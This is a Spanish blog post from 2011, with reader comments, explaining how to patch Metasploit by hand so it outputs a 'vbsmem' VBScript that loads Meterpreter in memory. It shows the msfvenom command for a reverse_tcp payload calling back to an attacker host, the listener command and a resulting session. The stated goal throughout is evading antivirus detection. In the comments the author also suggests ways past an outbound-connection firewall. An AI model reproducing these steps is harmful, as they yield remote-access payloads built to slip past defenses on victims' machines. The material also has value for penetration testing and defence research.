jueves, 14 de julio de 2011

Parcheando VBSMem en Metasploit

Hace algunas semanas publiqué una serie de posts [1] [2] [3] [4] que hablaban de una posible manera de saltarse la detección de un antivirus mediante el uso de Metasploit. En el último de ellos hablaba de que había utilizado una versión en desarrollo de msfencode para generar un fichero Visual Basic Script (VBS) que contenía el cuerpo del Meterpreter y que lo cargaba en memoria directamente, sin alertar al antivirus de lo que estaba pasando.

Pues bien, varias personas me han escrito correos y comentarios en el blog comentando que no acaban de ver como aplicar el parche, así que me he decidido a poner este post explicándolo, así que allá vamos:

En el Redmine de Metasploit (el sistema que usan para que les reporten los fallos) podemos leer en este ticket como se está desarrollando una opción de encoding adicional llamada vbsmem, y que como acabamos de comentar aporta la funcionalidad que necesitamos para saltarnos a este antivirus sobre el que hacíamos pruebas. El parche lo podemos descargar de AQUÍ, para ser aplicado sobre la revisión 11873 de Metasploit, mientras que en este momento tengo la revisión 13129, así que podría resultar peligroso aplicar el parche directamente, porque podríamos dejar los ficheros afectados inservibles.

En lugar de eso, vamos a pegarle un vistazo al PARCHE, y veremos que hace modificaciones sobre dos ficheros:

  1. Añade una función to_win32_vbsmem al fichero lib/msf/util/exe.rb
  2. Añade una opción vbsmem al switch en el que se comprueba la opción del tipo de encoding para llamar a esta función que acabamos de crear.
  3. Añade una opción vbsmem a la lista de formatos de la ayuda (o eso parece)
  4. Crea un nuevo fichero data/templates/vbsmem.vbs, que es una plantilla para la creación de los ficheros.

Son modificaciones bastante sencillas, así que podemos aplicarlas a mano sobre nuestra versión de los ficheros, así nos aseguramos que no corrompemos nada ni nada parecido. Vamos a ello:

1. Ante todo, una copia del original, solo por si acaso:

$ cp lib/msf/util/exe.rb lib/msf/util/exe.rb-original


2. Ahora editamos el fichero con "vi" (o con cualquier otro editor) y buscamos la cadena "def self.to_exe_vbs", que es la definición de la función inmediatamente anterior a la nueva función que vamos a crear:

3. Añadimos la función to_win32_vbsmem copiándola y pegándola del parche. Si fuera más grande podríamos haber utilizado el comando "sed" o equivalente para eliminar el símbolo "+" del principio de las lineas, pero en este caso solo son unas pocas lineas, podemos hacerlo a mano.

4. Ahora buscamos la cadena "/when 'vbs'" y añadimos lo siguiente (lo que está en negrita):

when 'vba'
    exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
    output = Msf::Util::EXE.to_exe_vba(exe)

when 'vbsmem'
    output = Msf::Util::EXE.to_win32_vbsmem(framework, code, exeopts)

when 'vbs'
    output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))

5. Buscamos ahora la cadena "self.to_executable_fmt_formats", bajo la cual añadiremos lo siguiente (en negrita):

def self.to_executable_fmt_formats
    ['dll','exe','exe-small','elf','macho','vba','vbsmem','vbs','loop-vbs','asp','war']
end

Ya tenemos el fichero lib/msf/util/exe.rb listo, ahora tenemos que crear el fichero data/templates/vbsmem.vbs con la información que hay en el parche, pero quitándole los símbolos "+", igual que antes.

$ cat vbsmem-1.2.1.patch | tail -657 | sed 's/+//' > data/templates/vbsmem.vbs

Parece que ahora ya lo tenemos todo, así que vamos a generar un Meterpreter en VBSMem para comprobar que todo nos ha funcionado correctamente.

Primero miramos la ayuda de MSFVenom o MSFEncode, y veremos algo así:


$ ./msfvenom --help
Usage: ./msfvenom [options]


Options:
    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload
    -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbsmem, vbs, loop-vbs, asp, war
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       [architecture]  The architecture to use
        --platform   [platform]
                                     The platform of the payload
    -s, --space      [length]        The maximum size of the resulting payload
    -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'
    -i, --iterations [count]         The number of times to encode the payload
    -c, --add-code   [path]          Specify an additional win32 shellcode file to include
    -x, --template   [path]          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -h, --help                       Show this message

La opción está claro que nos aparece, a ver si además de aparecer funciona:

$ ./msfvenom --payload windows/meterpreter/reverse_tcp --format vbsmem LHOST=172.16.146.1 > meterpreter.vbs

Ahora ponemos a la escucha un handler para que reciba la conexión reversa:

$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 E

Por último, nos llevamos el VBS a un servidor windows y lo ejecutamos, a ver que pasa:


[*] Started reverse handler on 0.0.0.0:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 172.16.146.128
[*] Meterpreter session 1 opened (172.16.146.1:4444 -> 172.16.146.128:1049) at Wed Jul 13 23:33:04 +0200 2011
meterpreter > sysinfo
System Language : es_ES
OS              : Windows XP (Build 2600, Service Pack 3).
Computer        : DESKTOP
Architecture    : x86
Meterpreter     : x86/win32


Parece que hemos conseguido parchear correctamente nuestro Metasploit para emplear la salida vbsmem, que empleábamos en anteriores posts para evadir a los antivirus.

11 comentarios :

Anónimo dijo...

Al quitar los signos + del archivo:

"data/templates/vbsmem.vbs"

con el comando sed, tambien borran 2 signos mas que se encuentran en la linea:

oMM.RtlMovememory pDest+8,pSource+8,4

No se si sean importantes o no, solo queria hacer el comentario.

Jose Selvi dijo...

En principio la expresión regular solo debería hacer match con los "+" a principio de linea, y aunque no lo tengo ahora delante, juraría que en mi caso fue así.

@Anónimo: Estás seguro que has escrito exactamente igual que yo la expresión regular?

Anónimo dijo...

Tienes razon, no habia escrito exactamente igual la expresion regular =O

Anónimo dijo...

Excelente post!!!!, seguí todas tus indicaciones y ya tengo el VBSMem parcheado el único problema fue para quitar los "+" pero ha sido un fallo mio "problema de rutas" te doy las gracias por compartir tus conocimientos... muy valiosos :)
un saludo fiera!!!

Anónimo dijo...

Hola quetal mi nombre es Moisés, este post es muy bueno!!!. Nada mas que tengo un problema. Bueno a qui voy... Hice la prueba en una maquina virtual, con windows XP y utilizando un antivirus (ESET Nod32 5.0), trate de hacerlo lomas real posible, una vez estando en la maquina virtual analice el Payload (Meterpreter.vbs) con el antivirus ya anteriormente mencionado y en efecto no lo detecta como un virus ni nada parecido, pero al ejecutarlo me detecta la conexion como shvhost y dice que es un troyano!!!!, alguien sabe como evitar esto? De antemano gracias.

Jose Selvi dijo...

@Moisés: Eso es porque el antivirus tiene protección contra conexiones salientes. Estos filtros funcionan mediante una lista blanca de binarios a los que se les permite realizar conexiones hacia Internet.

Yo lo primero que intentaría sería utilizar el reverse_http antiguo, si el navegador lo permite, que emplea Internet Explorer para la comunicación, el cual debería estar permitido por el antivirus.

Lo segundo que intentaría es modificar el vbs para que intentara cargar la DLL del Meterpreter en un proceso que presumiblemente tenga acceso a Internet, como un navegador, el messenger o algún software de este estilo.

Suerte!

Jose Selvi dijo...

El reverse_http nuevo no usa Internet Explorer, así que es normal que te pase. Prueba el antiguo.

De la segunda opción no conozco nada, habría que mirar el código.

Anónimo dijo...

Ok. Gracias por todo José Selvi.

Anónimo dijo...

Hola Jose, soy Moisés. Mira la verdad es que no sé de que payload me estas hablando tu dices el Reverse_http antiguo?, yo nada mas conosco estos que son del metasploit: * *java/meterpreter/reverse_http *java/meterpreter/reverse_https *windows/dllinject/reverse_http *windows/meterpreter/reverse_http *windows/meterpreter/reverse_https *windows/shell/reverse_http *windows/upexec/reverse_http *windows/vncinject/reverse_http

Aparte del revesre_http antiguo, sólo funcionaría si la pc atacada tiene una version de Internet Explorer? (Porque la neta es que hay mucha variedad en exploradores...) si no es asi entonces no funcionaria verdad!!!
Podrias ser mas claro porfavor!!!! Un saludo.

Jose Selvi dijo...

@Moisés: El reverse_http que viene ahora con Metasploit es nuevo. Hace unos pocos meses usaban uno llamado PassiveX. No ha cambiado el nombre, pero sí como funciona por dentro.

El PassiveX tenía muchas desventajas con respecto al nuevo reverse_http, pero alguna ventaja. En tu caso, por ejemplo, creo que te serviría para eludir el Firewall de salida, ya que las conexiones las realiza a través de Internet Explorer, que en un Windows siempre estará instalado y permitido.

Creo que voy a escribir un pequeño post sobre las diferencias entre el reverse_http antiguo y el nuevo.

Anónimo dijo...

Gracias, será de mucha ayuda.